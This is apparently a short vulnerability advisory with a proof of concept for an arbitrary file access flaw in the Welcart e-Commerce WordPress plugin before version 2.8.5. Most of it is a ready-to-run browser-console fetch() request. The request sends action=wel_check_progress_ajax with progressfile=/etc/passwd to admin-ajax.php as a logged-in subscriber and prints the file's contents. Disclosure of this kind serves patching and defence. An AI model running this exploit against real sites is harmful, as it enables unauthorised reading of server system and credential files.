Welcart e-Commerce < 2.8.5 - Subscriber+ Arbitrary File Access

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wel_check_progress_ajax&progressfile=/etc/passwd',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));